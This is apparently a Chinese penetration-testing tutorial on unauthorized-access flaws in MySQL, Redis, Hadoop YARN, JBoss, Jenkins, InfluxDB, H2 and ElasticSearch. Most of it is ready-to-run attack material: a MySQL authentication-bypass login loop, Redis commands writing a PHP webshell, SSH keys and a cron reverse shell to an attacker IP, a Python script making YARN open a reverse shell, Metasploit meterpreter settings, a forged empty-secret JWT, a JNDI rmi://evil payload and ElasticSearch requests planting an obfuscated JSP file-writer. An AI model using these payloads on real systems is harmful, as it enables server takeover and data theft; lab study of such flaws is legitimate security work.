定义
一种错位配置或懒惰式配置导致原本需要账号密码才能访问的后台变成可以直接访问的漏洞
利用这种漏洞可以做什么?
- 获取后台敏感数据,寻找其他漏洞进一步利用,甚至直接或者间接控制目标机器
- 错位配置或者初次安装使用默认配置导致
Mysql未授权访问
未授权访问-CVE-2012-2122利用
漏洞简介
当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库
受影响的版本
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not. MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
启动环境
cd vulhub-master/mysql/CVE-2012-2122
sudo docker-compose up -d
漏洞复现
先判断服务开放情况 - 端口扫描
在线扫描:http://coolaf.com/zh/tool/port
发现开放端口:3306 → mysql数据库
漏洞测试,在kali中执行:
for i in `seq 1 1000`; do mysql -uroot -pwrong -h 192.168.233.128 -P3306 ; done
虽然是错误的密码,但不断重复的尝试登录,最后直接就登录成功了
mysql数据库弱口令猜解
mysql数据库弱口令猜解需要满足一定的条件,因为mysq默认配置root用户只允许本地登录,远程的连接是拒绝的(不能直接爆破)
mysql数据库弱口令猜解需要借助phpmyadmin猜解
phpmyadmin是第三方的数据库管理应用,搭建在对方的服务器上
在phpmyadmin输入账号和密码登录mysql数据库时,请求是从phpmyadmin发出的,就相当于是由本地到本地的过程,所以可以进行测试
怎样判断是否提供了phpmyadmin的登录页面?搜索 inurl:phpmyadmin
Redis 未授权访问
Redis作为高性能的内存数据库,默认配置下存在一个致命的安全隐患——未授权访问漏洞。简单来说,这就像你家大门没上锁,任何人都能随意进出。我在实际渗透测试中遇到过不少企业因此中招,轻则数据泄露,重则服务器沦陷。
这个漏洞的核心在于Redis服务默认监听在0.0.0.0:6379端口,且初始安装后没有启用认证机制。去年给某公司做安全评估时,他们用的Redis 5.0.8版本就因为这个漏洞导致客户数据被爬取。攻击者无需任何凭证就能直接连接Redis服务,执行任意命令。
典型危害场景主要有三类:
- 数据泄露:直接读取数据库中的所有键值对,包括可能存储的敏感信息
- 数据破坏:执行FLUSHALL命令清空整个数据库
- 系统入侵:通过写入计划任务、SSH密钥等方式获取服务器控制权
WebShell写入攻击
# 设置保存目录为网站根目录
config set dir /var/www/html
# 设置数据库文件名
config set dbfilename shell.php
# 写入PHP代码
set payload "<?php system($_GET['cmd']); ?>"
# 保存到磁盘
save
写入成功后,访问http://目标IP/shell.php?cmd=id就能执行系统命令。实测时要注意文件权限问题,最好提前用`chmod 777 /var/www/html`设置目录可写。
SSH公钥注入
# 本地生成密钥对
ssh-keygen -t rsa -f /tmp/redis_key
# 将公钥格式化后写入Redis
(echo -e "\n"; cat /tmp/redis_key.pub; echo -e "\n") > /tmp/key.txt
cat /tmp/key.txt | redis-cli -h 靶机IP -x set ssh_key
# 设置保存路径为SSH密钥目录
redis-cli -h 靶机IP config set dir /root/.ssh
redis-cli -h 靶机IP config set dbfilename "authorized_keys"
redis-cli -h 靶机IP save
定时任务反弹Shell
当需要交互式控制时,可以采用定时任务反弹Shell:
# 攻击机先监听
nc -lvnp 4444
# 通过Redis写入定时任务
redis-cli -h 靶机IP config set dir /var/spool/cron
redis-cli -h 靶机IP config set dbfilename root
redis-cli -h 靶机IP set payload "\n\n*/1 * * * * /bin/bash -c 'sh -i >& /dev/tcp/攻击机IP/4444 0>&1'\n\n"
redis-cli -h 靶机IP save
主从复制RCE
这是较新的利用方式,适用于Redis 4.x-5.x版本,通过加载恶意.so文件实现RCE:
# 下载利用工具
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand
make
# 执行攻击
python3 redis-rce.py -r 靶机IP -L 攻击机IP -f module.so
hadoop未授权访问漏洞
Hadoop 是一种用来处理和存储大量数据的软件工具,可以用来日志分析,推荐系统,数据备份
核心组件
- 存储大数据:HDFS 文件系统
- 处理大数据:MapReduce
- 管理资源:YARN
漏洞成因
默认开放的REST API端口: YARN的RESTAP默认开放在8088和8090端口,如果未进行适当的访问控制,攻击者可以利用这些API进行未授权访问。
利用方式一(脚本利用)
1.访问靶机8088端口,看到存在未授权访问漏洞 2.通过脚本利用(通过python3执行脚本即可)
#!/usr/bin/env python
import requests
# 漏洞目标URL
target = 'http://127.0.0.1:8088/'
# 反弹Shell 攻击机IP地址,监听6666端口
lhost = '192.168.0.1'
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/攻击机ip/6666 0>&1'
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)利用方式二(msf利用)
利用msf模块
msfconsole -q
use exploit/linux/http/hadoop_unauth_exec
set rhosts 192.168.81.127
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.81.238
set lport 5566
exploitJboss未授权访问
JMX Console 未授权访问漏洞
介绍
JBoss的webUI界面 http://ip:port/jmx-console未授权访问(或默认密码admin/admin),可导致JBoss的部署管理的信息泄露,攻击者也可以直接上传木马获取webshell
远程部署war包
- 找到 jboss.deployment 选项(Jboss自带的部署功能)中的
flavor=URL,type=DeploymentScanner点进去 (通过url的方式远程部署) - 进入页面后找到addURL
- 在vps上部署war包
- 随后点击
BacktoMBeanView来到URLList中查看Value值是否已经部署好,最后点击Apply Changes - 返回
jmx-console目录找到jboss.web.deployment查看是否存在我们部署的war木马 - 访问:
http://your-ip/shell/shell.jsp连接蚁剑即可
Jenkins未授权访问
漏洞原理
默认情况下 Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进入后台管理服务,通过脚本执行界面从而获取服务器 权限。
new File ("/var/www/html/shell.php").write('<?php phpinfo(); ?>');
网站路径:/var /www/html
利用“脚本命令行”写webshell,点击运行没有报错,写入成功
influxdb 未授权访问
influxdb是一种开源时间序列数据库,用于存储系统的监控数据、IOT行业的实时数据等场景
在用户开启了认证,但未设置参数shared-secret的情况下,jwt的认证密钥为空字符串,此时攻击者可以伪造任意用户身份在influxdb中执行SQL语句
- 借助
https://jwt.io来生成jwt token:
{
"alg":"HS256",
"typ":"JWT"
}
{
"username":"admin",
"exp":1676346267
}
其中,username代表已存在的用户,exp是时间戳,代表该Token的过期时间,所以需要生成一个未来的时间戳(www.beijing-time.org/shijianchuo/),将secret值置空,得到编码后的Token
- 发送数据包触发
抓取/query页面的数据包,将请求方式修改为POST,添加以下请求字段:
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo0MDcyNjE1MzE0fQ.mwI2P1j8CIvhxBKFvcyU7TNLBeuFtiUM1mPrKanF1w4
Content-Type: application/x-www-form-urlencoded
H2database 未授权访问
一款Java的内存数据库,多用于单元测试。H2 database自带一个Web的管理页面,在Spring开发中,如果我们设置如下选项,即可允许外部用户访问web管理页面,且没有鉴权
产生原因 H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权:
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
利用这个管理页面,我们可以进行JND注入测试,进而在目标环境下执行任意命令
漏洞exp
https://github.com/su18/JNDI
漏洞环境搭建
使用vulhub进行复现,搭建好环境后访问 http://127.0.0.1:8080/h2-console。
但在spring boot的默认配置中是没有配置h2数据库的。

要使用 H2数据库,需要pom.xml引入依赖。
dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-data-jpa</artifactId>
<version>2.2.6.RELEASE</version>
</dependency>
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<scope>runtime</scope>
<version>1.4.199</version>
</dependency>
默认情况下application.properties文件中不存在以下配置。
spring.h2.console.enabled=true
可以作为基线检查项,如果存在以上配置可直接访问 http://ip:port/h2-console。

漏洞复现
借助jndi的工具进行复现。
git clone https://github.com/su18/JNDI
cd JNDI
mvn install

修改config.properties配置文件jndi注入成功后创建文件。

然后启动JNDI-1.0-all.jar,在h2 console页面填入JNDI类名和URL地址。
在H2页面内填入对应的值,javax.naming.InitialContext是JNDI的工厂类,URL rmi://evil:23456/BypassByEL是运行JNDI工具监听的RMI地址。
点击连接后,恶意RMI成功接收到请求。
文件写入成功。

ElasticSearch 文件写入
影响版本
1.5.x以前(其实跟CVE-2015-5531-ElasticSearch 目录穿越是差不多类型的漏洞,相当于是利用该漏洞来getshell吧)
漏洞复现
(1)访问存在的漏洞页面:(9200一般为ElasticSearch的常用端口),此漏洞环境需要与tomcat结合使用,发现8080端口存在tomcat默认配置页面。

(2)发现9200端口存在elasticsearch页面:
(3)创建一个恶意索引文档:
POST /a.jsp/a.jsp/1 HTTP/1.1
Host:x.x.x.x:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: settingStore=1630480512401_0
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 228
{"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}

或者kali执行也可以:
curl -XPOST http://x.x.x.x:9200/a.jsp/a.jsp/1 -d'
{"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}'
(4)再创建一个恶意的存储库,其中location的值即为要写入的路径(需要根据肉鸡的tomcat的www目录来决定):
PUT /_snapshot/a.jsp HTTP/1.1
Host: x.x.x.x:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: settingStore=1630480512401_0
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
{
"type": "fs",
"settings": {
"location": "/usr/local/tomcat/webapps/wwwroot/",
"compress": false
}
}

或kali执行:
curl -XPUT 'http://x.x.x.x:9200/_snapshot/a.jsp' -d '{
"type": "fs",
"settings": {
"location": "/usr/local/tomcat/webapps/wwwroot/",
"compress": false
}
}'
(5)存储库验证并创建:
PUT /_snapshot/a.jsp/a.jsp HTTP/1.1
Host: x.x.x.x:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: settingStore=1630480512401_0
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 102
{
"indices": "a.jsp",
"ignore_unavailable": "true",
"include_global_state": false
}

或kali执行:
curl -XPUT "http://x.x.x.x:9200/_snapshot/a.jsp/a.jsp" -d '{
"indices": "a.jsp",
"ignore_unavailable": "true",
"include_global_state": false
}'
上述(3)(4)(5)作用是向wwwroot下的test.jsp**文件中写入任意字符串:
回容器发现已成功写入了一个jsp的shell:

写入jsp一句话木马,有些抄袭的文件真的过分,这个jsp的文件明明是通过8080来访问的,有的就是写错为9200,所以还是不要全信了网上的文章:
http://x.x.x.x:8080/wwwroot/indices/a.jsp/snapshot-a.jsp?f=success
在www根目录下会生成一个test.jsp的文件,并会成功被写入success

修改为123456的话,写入的内容也会是123456:
http://x.x.x.x:8080/wwwroot/indices/a.jsp/snapshot-a.jsp?f=123456s

(6)现在来写入一句话木马:哥斯拉生成一句话木马:
a.生成jsp的shell:

b:URL编码jsp的shell并在f=后输入改编码好的shell:


c:访问该shell显示成功:

d.获取该服务器的权限:
